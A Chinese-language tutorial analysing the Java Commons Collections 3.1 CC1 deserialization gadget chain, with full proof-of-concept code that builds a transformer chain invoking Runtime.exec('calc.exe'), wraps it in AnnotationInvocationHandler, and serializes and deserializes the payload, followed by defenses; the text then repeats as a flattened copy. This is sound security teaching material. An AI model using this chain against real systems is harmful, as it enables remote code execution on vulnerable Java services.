Java安全反序列化之CC1链的分析与利用
字数 2868 2025-08-24 16:48:16

Java安全反序列化之CC1链的分析与利用

1. 环境要求

  • Common-Collections版本: 3.1
  • JDK版本: 1.7 (注意: 在Java 8u71以后的版本中,由于sun.reflect.annotation.AnnotationInvocationHandler发生了变化导致此链不再可用)

2. 前置知识

2.1 Commons Collections简介

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。

官网描述: "The Java Collections Framework was a major addition in JDK 1.2. It added many powerful data structures that accelerate development of most significant Java applications. Since that time it has become the recognised standard for collection handling in Java."

2.2 关键接口和类

Transformer接口

位于org.apache.commons.collections包中

public interface Transformer {
    // 将input对象转化成某个对象输出
    Object transform(Object input);
}

ConstantTransformer类

位于org.apache.commons.collections.functors包中

public class ConstantTransformer extends Object implements Transformer, Serializable {
    // 构造方法
    public ConstantTransformer(Object constantToReturn);
    
    // 类方法
    public Object transform(Object input);
}

InvokerTransformer类

位于org.apache.commons.collections.functors包中

public class InvokerTransformer extends Object implements Transformer, Serializable {
    // 构造函数
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args);
    
    // 类方法
    public Object transform(Object input);
}

ChainedTransformer类

位于org.apache.commons.collections.functors包中

public class ChainedTransformer extends Object implements Transformer, Serializable {
    // 构造方法
    public ChainedTransformer(Transformer[] transformers);
    
    // 类方法
    public Object transform(Object object);
}

TransformedMap类

位于org.apache.commons.collections.map包中

public class TransformedMap extends AbstractMapDecorator implements Serializable {
    // 构造方法
    public TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer);
    
    // 类方法
    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer);
}

3. 调用链分析

3.1 POC代码

package ysoserial;

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class commons_collections1 {
    public static void main(String[] args) throws Exception {
        // 构建transformers数组
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[] {String.class, Class[].class}, 
                new Object[] {"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", 
                new Class[] {Object.class, Object[].class}, 
                new Object[] {null, new Object[0]}),
            new InvokerTransformer("exec", 
                new Class[] {String.class}, 
                new Object[] {"calc.exe"})
        };
        
        // 将transformers数组存入ChainedTransformer
        Transformer transformerChain = new ChainedTransformer(transformers);
        
        // 创建Map并绑定transformerChain
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        
        // 触发漏洞
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        onlyElement.setValue("foobar");
    }
}

3.2 调用栈分析

执行该POC后成功弹出计算器,表示该POC在当前环境下可利用。调用栈如下:

  1. transform:76, ConstantTransformer
  2. transform:122, ChainedTransformer
  3. checkSetValue:169, TransformedMap
  4. setValue:191, AbstractInputCheckedMapDecorator$MapEntry
  5. main:35, commons_collections1

3.3 详细调用过程

  1. onlyElement.setValue("foobar")调用:

    • onlyElementAbstracInputCheckedMapDecorator$MapEntry对象
    • 进入其setValue函数:
      public Object setValue(Object value) {
          value = this.parent.checkSetValue(value);
          return super.entry.setValue(value);
      }
      
    • this.parentTransformedMap对象
  2. 进入TransformedMapcheckSetValue方法:

    protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
    }
    
    • this.valueTransformerChainedTransformer对象
  3. ChainedTransformertransform方法:

    public Object transform(Object object) {
        for (int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }
        return object;
    }
    
    • 循环调用iTransformers中的每个Transformertransform方法
  4. 循环第一步: ConstantTransformertransform

    • 返回Runtime.class对象
  5. 循环第二步: InvokerTransformertransform

    • 获取Runtime.classgetMethod方法
    • 返回getRuntime方法对象
  6. 循环第三步: InvokerTransformertransform

    • 调用getRuntime方法
    • 返回Runtime实例
  7. 循环第四步: InvokerTransformertransform

    • 调用exec方法
    • 执行calc.exe命令

4. POC构造思路

4.1 目标

执行Runtime.getRuntime().exec("calc.exe")

4.2 反射机制实现

通用反射机制语句:

Class.forName("java.lang.Runtime")
    .getMethod("exec", String.class)
    .invoke(
        Class.forName("java.lang.Runtime")
            .getMethod("getRuntime")
            .invoke(Class.forName("java.lang.Runtime")), 
        "calc.exe"
    );

4.3 使用InvokerTransformer实现反射

InvokerTransformer的关键代码:

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (Exception e) {
            throw new FunctorException(...);
        }
    }
}

4.4 分步构造

  1. 获取Runtime实例:

    new InvokerTransformer("getMethod", 
        new Class[] {String.class, Class[].class}, 
        new Object[] {"getRuntime", new Class[0]})
    
  2. 调用getRuntime方法:

    new InvokerTransformer("invoke", 
        new Class[] {Object.class, Object[].class}, 
        new Object[] {null, new Object[0]})
    
  3. 执行命令:

    new InvokerTransformer("exec", 
        new Class[] {String.class}, 
        new Object[] {"calc.exe"})
    

4.5 完整Transformer链

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[] {String.class, Class[].class}, 
        new Object[] {"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[] {Object.class, Object[].class}, 
        new Object[] {null, new Object[0]}),
    new InvokerTransformer("exec", 
        new Class[] {String.class}, 
        new Object[] {"calc.exe"})
};

5. 利用TransformedMap触发

5.1 为什么使用TransformedMap

  • 需要一种方式在反序列化时自动触发transform方法
  • TransformedMap在对Map数据进行修改时会自动调用绑定的Transformer

5.2 绑定Transformer到Map

Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

6. 利用AnnotationInvocationHandler完成攻击

6.1 为什么需要AnnotationInvocationHandler

  • 需要找到一个类在反序列化(readObject)时有写入Map的操作
  • AnnotationInvocationHandler在反序列化时会遍历并修改Map中的值

6.2 构造AnnotationInvocationHandler

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap);

6.3 AnnotationInvocationHandler的readObject关键代码

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = AnnotationType.getInstance(this.type);
    Map var3 = var2.memberTypes();
    Iterator var4 = this.memberValues.entrySet().iterator();
    while(var4.hasNext()) {
        Map.Entry var5 = (Map.Entry)var4.next();
        String var6 = (String)var5.getKey();
        Class var7 = (Class)var3.get(var6);
        if (var7 != null) {
            Object var8 = var5.getValue();
            if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                var5.setValue(...);
            }
        }
    }
}

6.4 触发条件

  1. AnnotationInvocationHandler构造函数的第一个参数必须是Annotation的子类,且其中必须含有至少一个方法(假设方法名是X)
  2. TransformedMap.decorate修饰的Map中必须有一个键名为X的元素

因此:

  • 使用Target.class作为Annotation类(它有value方法)
  • Map中放入key="value"的元素

7. 完整攻击代码

package ysoserial;

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class commons_collections1 {
    public static void main(String[] args) throws Exception {
        // 构建transformers数组
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[] {String.class, Class[].class}, 
                new Object[] {"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", 
                new Class[] {Object.class, Object[].class}, 
                new Object[] {null, new Object[0]}),
            new InvokerTransformer("exec", 
                new Class[] {String.class}, 
                new Object[] {"calc.exe"})
        };
        
        // 将transformers数组存入ChainedTransformer
        Transformer transformerChain = new ChainedTransformer(transformers);
        
        // 创建Map并绑定transformerChain
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        
        // 反射构造AnnotationInvocationHandler
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, outerMap);
        
        // 序列化payload
        FileOutputStream f = new FileOutputStream("payload.bin");
        ObjectOutputStream fout = new ObjectOutputStream(f);
        fout.writeObject(instance);
        
        // 模拟反序列化攻击
        FileInputStream fi = new FileInputStream("payload.bin");
        ObjectInputStream fin = new ObjectInputStream(fi);
        fin.readObject();
    }
}

8. 防御措施

  1. 升级Commons Collections到安全版本
  2. 使用Java 8u71及以上版本(修改了AnnotationInvocationHandler)
  3. 使用反序列化过滤器
  4. 避免反序列化不可信数据

9. 总结

CC1链利用了几个关键点:

  1. InvokerTransformer可以通过反射执行任意方法
  2. ChainedTransformer可以将多个Transformer串联起来
  3. TransformedMap在对Map修改时会自动调用Transformer
  4. AnnotationInvocationHandler在反序列化时会修改Map中的值

通过精心构造的序列化对象,可以在反序列化时触发命令执行,这是Java反序列化漏洞的经典案例之一。

Java安全反序列化之CC1链的分析与利用 1. 环境要求 Common-Collections版本 : 3.1 JDK版本 : 1.7 (注意: 在Java 8u71以后的版本中,由于 sun.reflect.annotation.AnnotationInvocationHandler 发生了变化导致此链不再可用) 2. 前置知识 2.1 Commons Collections简介 Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。 官网描述: "The Java Collections Framework was a major addition in JDK 1.2. It added many powerful data structures that accelerate development of most significant Java applications. Since that time it has become the recognised standard for collection handling in Java." 2.2 关键接口和类 Transformer接口 位于 org.apache.commons.collections 包中 ConstantTransformer类 位于 org.apache.commons.collections.functors 包中 InvokerTransformer类 位于 org.apache.commons.collections.functors 包中 ChainedTransformer类 位于 org.apache.commons.collections.functors 包中 TransformedMap类 位于 org.apache.commons.collections.map 包中 3. 调用链分析 3.1 POC代码 3.2 调用栈分析 执行该POC后成功弹出计算器,表示该POC在当前环境下可利用。调用栈如下: transform:76, ConstantTransformer transform:122, ChainedTransformer checkSetValue:169, TransformedMap setValue:191, AbstractInputCheckedMapDecorator$MapEntry main:35, commons_collections1 3.3 详细调用过程 onlyElement.setValue("foobar") 调用: onlyElement 是 AbstracInputCheckedMapDecorator$MapEntry 对象 进入其 setValue 函数: this.parent 是 TransformedMap 对象 进入 TransformedMap 的 checkSetValue 方法: this.valueTransformer 是 ChainedTransformer 对象 ChainedTransformer 中 transform 方法: 循环调用 iTransformers 中的每个 Transformer 的 transform 方法 循环第一步: ConstantTransformer 的 transform 返回 Runtime.class 对象 循环第二步: InvokerTransformer 的 transform 获取 Runtime.class 的 getMethod 方法 返回 getRuntime 方法对象 循环第三步: InvokerTransformer 的 transform 调用 getRuntime 方法 返回 Runtime 实例 循环第四步: InvokerTransformer 的 transform 调用 exec 方法 执行 calc.exe 命令 4. POC构造思路 4.1 目标 执行 Runtime.getRuntime().exec("calc.exe") 4.2 反射机制实现 通用反射机制语句: 4.3 使用InvokerTransformer实现反射 InvokerTransformer 的关键代码: 4.4 分步构造 获取Runtime实例 : 调用getRuntime方法 : 执行命令 : 4.5 完整Transformer链 5. 利用TransformedMap触发 5.1 为什么使用TransformedMap 需要一种方式在反序列化时自动触发 transform 方法 TransformedMap 在对Map数据进行修改时会自动调用绑定的 Transformer 5.2 绑定Transformer到Map 6. 利用AnnotationInvocationHandler完成攻击 6.1 为什么需要AnnotationInvocationHandler 需要找到一个类在反序列化( readObject )时有写入Map的操作 AnnotationInvocationHandler 在反序列化时会遍历并修改Map中的值 6.2 构造AnnotationInvocationHandler 6.3 AnnotationInvocationHandler的readObject关键代码 6.4 触发条件 AnnotationInvocationHandler 构造函数的第一个参数必须是 Annotation 的子类,且其中必须含有至少一个方法(假设方法名是X) 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素 因此: 使用 Target.class 作为Annotation类(它有 value 方法) Map中放入 key="value" 的元素 7. 完整攻击代码 8. 防御措施 升级Commons Collections到安全版本 使用Java 8u71及以上版本(修改了 AnnotationInvocationHandler ) 使用反序列化过滤器 避免反序列化不可信数据 9. 总结 CC1链利用了几个关键点: InvokerTransformer 可以通过反射执行任意方法 ChainedTransformer 可以将多个 Transformer 串联起来 TransformedMap 在对Map修改时会自动调用 Transformer AnnotationInvocationHandler 在反序列化时会修改Map中的值 通过精心构造的序列化对象,可以在反序列化时触发命令执行,这是Java反序列化漏洞的经典案例之一。